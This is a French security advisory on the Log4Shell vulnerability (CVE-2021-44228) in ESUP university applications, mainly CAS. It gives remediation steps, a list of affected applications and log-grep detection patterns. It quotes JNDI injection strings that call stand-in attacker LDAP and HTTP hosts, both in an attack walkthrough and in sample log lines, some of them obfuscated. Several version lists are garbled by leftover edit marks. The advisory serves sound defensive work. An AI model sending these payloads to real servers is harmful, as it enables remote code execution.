...
Objet | Log4shell - CVE-2021-44228 vis à vis des applications ESUP |
Référence | ESUP-2021-AVI-001 |
Date de la première version | 12 décembre 2021 |
Date de la dernière version | 12 16 décembre 2021 |
Source | CVE-2021-44228 |
Diffusion de cette version | Publique |
Historique |
|
Planning prévisionnel | - |
Pièces jointes | - |
...
- L'attaquant saisit en tant que username dans le formulaire d'authentification /login la chaine "${jndi:ldap://serveur-attaquant-ldap.com/ExploitLog4j2}" et un mot de passe quelconque
- CAS log ce username dans cas_audit.log (authentification échouée)
- la chaine "${jndi:ldap://serveur-attaquant-ldap.com/ExploitLog4j2}" est parsée par log4j
- l'expression jndi est évaluée, une récupération de l'object ldap donné par ldap://serveur-attaquant-ldap.com/ExploitLog4j2Ref est effectuée
- cet objet correspond à une référence sur http://serveur-attaquant-http.com/ExploitLog4j2.class
- la classe http://serveur-attaquant-http.com/ExploitLog4j2.class est récupérée et exécutée
Solutions
- technique "mettre mise à jour" : remplacer les jars de log4j-core par la version 2.15.0 ou supérieur (attention maven central fournit une version compilée pour Java ≥ 8)
technique "zip" : supprimer la classe du jar
Bloc de code language bash zip -q -d log4j-core*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
NB : si vous lancez la commande en root, le jar appartiendra ensuite à root.
technique "configurer" : si log4j-core ≥ 2.10, ajouter ceci à la ligne de commande java
Bloc de code language bash -Dlog4j2.formatMsgNoLookups=true
- technique "firewall" : empêcher les requêtes TCP sortantes du serveur (faire un "REJECT" et pas un "DROP" sinon le RCE devient un DoS)
NB : il faut redémarrer le service pour appliquer la modification (sauf pour la technique "firewall")
...
- ≤ 4.0 : pas affecté
- ≤ 5.2 : technique "mettre mise à jour" ou "zip" ou "firewall"
- ≥ 5.3 : technique "mettre mise à jour" ou "zip" ou "firewall" ou "configurer"
- >=
6.3.7.2.ou >= 6.4.4 : versions des branches 6.3 et 6.4 (les seules maintenues ; les autres sont considérées comme obsolètes) corrigées
...
Applications potentiellement concernées
Nuxeo
- 10.10 : technique "mettre mise à jour" ou "zip" ou "firewall" ou "configurer"
Elasticearch
Logstash
- technique "
- à priori globalement protégé par l'usage d'un security manager de java (annonce)
- 6.5.3 debian 9 : technique "mettre à jour" ou "zip" ou "firewall" ou (la technique "configurer" ne marche pas !)
Solr
- 8.57.9.1 : technique "mettre mise à jour" ou "zip" ou "firewall" ou "configurer"
Logstash
- technique "zip" ou "firewall" (la technique "configurer" ne marche pas !)
Solr
ElasticSearch
- 5.x (versions 6 et 7 non concernées) : technique 8.5.1 : technique "mettre à jour" ou "zip" ou "firewall" ou "configurer"
Applications non concernées
applications java périmètre esup
- esup-dematec (elle embarque des librairies log4j-2 qui ne sont pas utilisées : log4j (1) est utilisé : configuration par log4j.properties ; toutes versions)
- esup-ecandidat v2 (logback ; toutes versions)
- esup-mdw ()esup-pod)
- esup-pstage (log4j ; toutes versions)
- esup-signature (logback ; toutes versions)
esup-smsusmsu (log4j ; toutes versions)
esupUserApps / ProlongationENT (log4j ; toutes versions)
- esup-sgc (logback ; toutes versions)
- esup-nfc-tagtag (logback ; toutes versions)
- esup-papercutpapercut (logback ; toutes versions)
- esup-paypay (log4j ; toutes versions)
- esup-helpdeskhelpdesk (log4j ; toutes versions)
- esup-emargementemargement (logback ; toutes versions)
- (esup-) uportal (log4j puis logback) et portlets esup associées (log4j ; toutes versions)uportal et portlets associées
- shibboleth idp (sauf docker ; logback ; toutes versions)
applications non java
- esup-pod, filex, esup-wayf, esup-otp-api, esup-otp-manager, sygal, ...
applications java non ESUP dans le périmètre ESR
- bbb 2.2
- ametys odf
- ade
ksup
...- , ametys odf, ade (log4j via apache commons-logging), ksup (log4j puis logback), confluence,
Elasticsearch, ...
Autres applications
Voir cette liste de liens vers les annonces des éditeurs
Librairies log Java
Pour déterminer si une application java est impactée il faut déterminer quelle librairie de log est utilisée.
...
En tant qu'exploitant vous pouvez retrouver ces librairies sous forme de jar. Au niveau des sources, on retrouve leurs références généralement dans des fichiers pom.xml (maven) ou build.gradle (gradle) ; avec le jeu des dépendances, la référence peut cependant ne pas être explicite.
Vous pouvez aussi +/- retrouver l'implémentation de librairie de logs utilisée suivant les configurations de ces logs ; même si il peut y avoir des variantes, adaptation du développeur, configurations implicites ... :
...
| Bloc de code | ||
|---|---|---|
| ||
grep -e '${\|' -e 'Reference Class\|' -e 'javax.el.ELProcessor' /opt/tomcat-cas/logs/cas.log 2021-12-11 05:48:59,478 WARN [org.apereo.cas.web.flow.SpnegoNegotiateCredentialsAction] - <User Agent header [${jndi:${lower:l}${lower:d}a${lower:p}://toto.log4j2${upper:a}attaq.io:80/callback}] is not supported in the list of supported browsers [[Firefox]]> |
...
| Bloc de code | ||
|---|---|---|
| ||
grep -e '${\|' -e 'Reference Class\|' -e 'javax.el.ELProcessor' /opt/tomcat-cas/logs/cas_audit.log CLIENT IP ADDRESS: ${jndi:ldap://X-Forwarded-For.univ-ville.fr.id-de-test.solution-de-test.net/a.bc} WHO: ${jndi:ldap://hack.me:1389//univ-ville.fr/X-Forwarded-For} CLIENT IP ADDRESS: Reference Class Name: foo |
...
Dans tous les cas une analyse plus poussée (flux) est à envisager. La prudence reste de mise. L'exécution d'un code arbitraire pouvant altérer l'ensemble du système, dont les journaux eux-mêmes.
Liens
- CVE-2021-44228 : https://www.cve.org/CVERecord?id=CVE-2021-44228
- CERTFR-2021-ALE-022 : https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/
CAS Log4J Vulnerability Disclosure : https://apereo.github.io/2021/12/11/log4j-vuln/
...